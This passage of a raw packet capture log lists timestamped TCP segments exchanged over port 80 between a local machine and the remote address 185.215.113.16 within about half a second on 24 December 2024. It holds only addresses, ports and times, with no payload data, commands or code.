Dec 24, 2024 12:39:35.246226072 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.246234894 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.246241093 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.246289015 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.247195005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.247291088 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.247301102 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.247350931 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.248106003 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.248169899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.248178005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.248215914 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.248248100 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.249068975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.249130964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.249140024 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.249191046 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.250049114 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.250163078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.250220060 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.314851046 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.314871073 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.314879894 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.314932108 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.315354109 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.315401077 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.315428019 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.315437078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.315480947 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.316330910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.316404104 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.316414118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.316456079 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.317290068 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.317357063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.317358017 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.317365885 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.317404985 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.318227053 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.318365097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.318423033 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.368684053 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.368751049 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.368758917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.368809938 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.369144917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.369164944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.369173050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.369240046 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.370124102 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.370176077 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.370184898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.370245934 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.371149063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.371200085 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.371215105 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.371253014 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.372124910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.372133970 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.372157097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.372179985 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.373065948 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.373172045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.373224020 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.373225927 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.373281956 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.374034882 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.374159098 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.374167919 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.374212980 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.375030994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.375094891 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.375271082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.375279903 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.375332117 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.376022100 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.376271009 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.376281023 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.376333952 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.376980066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.377048016 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.377055883 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.377070904 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.377104044 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.377896070 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.377939939 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.377948046 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.378000021 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.378896952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.378953934 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.378977060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.378984928 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.379028082 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.379892111 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.379946947 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.379956007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.380003929 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.380880117 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.380888939 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.380898952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.380942106 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.381767988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.381813049 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.381820917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.381877899 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.382811069 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.382831097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.382854939 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.382893085 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.382909060 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.383764982 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.383820057 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.383827925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.383873940 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.384722948 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.384780884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.384798050 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.384912968 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.384912968 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.385708094 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.385759115 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.385767937 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.385816097 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.386806011 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.386815071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.386831999 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.386883020 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.386897087 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.387655020 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.387708902 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.387717962 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.387763977 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.388643980 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.388664961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.388673067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.388715029 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.389507055 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.434791088 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.434823036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.434839010 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.434868097 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.434912920 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.435230017 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.435296059 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.435303926 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.435350895 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.436204910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.436279058 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.436377048 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.436450005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.436459064 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.436502934 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.437377930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.437402964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.437412024 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.437427044 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.437455893 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.438354969 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.438378096 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.438385963 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.438433886 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.439320087 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.439366102 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.439380884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.439389944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.439434052 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.440351963 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.440361023 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.440378904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.440428019 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.441256046 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.441308022 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.441313982 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.441318035 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.441354036 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.442233086 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.442352057 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.442397118 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.507188082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.507256031 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.507263899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.507308960 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.507544041 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.507606983 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.507622957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.507658958 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.508615971 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.508708954 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.508718014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.508773088 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.509491920 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.509551048 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.509558916 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.509599924 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.510492086 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.510571957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.510663986 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.561644077 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.561714888 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.561724901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.561781883 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.562218904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.562274933 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.562326908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.562341928 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.562386990 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.563067913 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.563122034 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.563132048 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.563170910 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.564028025 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.564090967 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.564095974 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.564106941 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.564146996 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.565022945 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.565082073 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.565089941 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.565152884 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.565980911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.566026926 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.566035986 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.566083908 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.566971064 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.567027092 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.567042112 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.567070961 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.567955017 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.568011999 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.568053961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.568063974 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.568099022 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.568913937 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.569041014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.569050074 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.569092989 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.569885015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.569947958 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.569956064 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.569988966 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.570002079 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.570849895 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.570944071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.570952892 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.571121931 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.571818113 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.571862936 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.571887970 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.571897030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.571942091 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.572792053 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.572835922 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.572844982 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.572889090 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.573760986 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.573831081 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.573843002 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.573878050 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.573889017 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.574750900 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.574796915 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.574805021 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.574841022 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.575700045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.575762033 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.575762987 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.575769901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.575809956 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.576658964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.576719999 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.576730013 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.576777935 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.577620983 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.577661037 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.577692986 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.577702045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.578608036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.578639984 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.578699112 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.578708887 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.578754902 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.579582930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.579641104 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.579667091 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.579675913 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.579725027 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.580539942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.580612898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.580622911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.580662966 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.581557989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.581578970 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.581594944 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.581624031 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.581671000 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.582492113 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.629147053 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.629331112 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.629391909 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.629401922 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.629446030 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.629843950 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.629878044 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.629885912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.629935980 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.630820036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.630868912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.630877972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.630923033 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.631850004 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.631891966 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.631900072 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.631901979 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.631938934 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.632755041 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.632818937 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.632827044 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.632889986 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.633810997 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.633908987 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.633919001 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.633968115 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.634708881 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.634764910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.634774923 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.634808064 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.635682106 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.635726929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.635730982 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.635736942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.635768890 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.636657000 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.636676073 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.636683941 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.636719942 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.699331045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.699420929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.699429989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:35.699480057 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:35.699843884 CET	80	49727	185.215.113.16	192.168.2.5
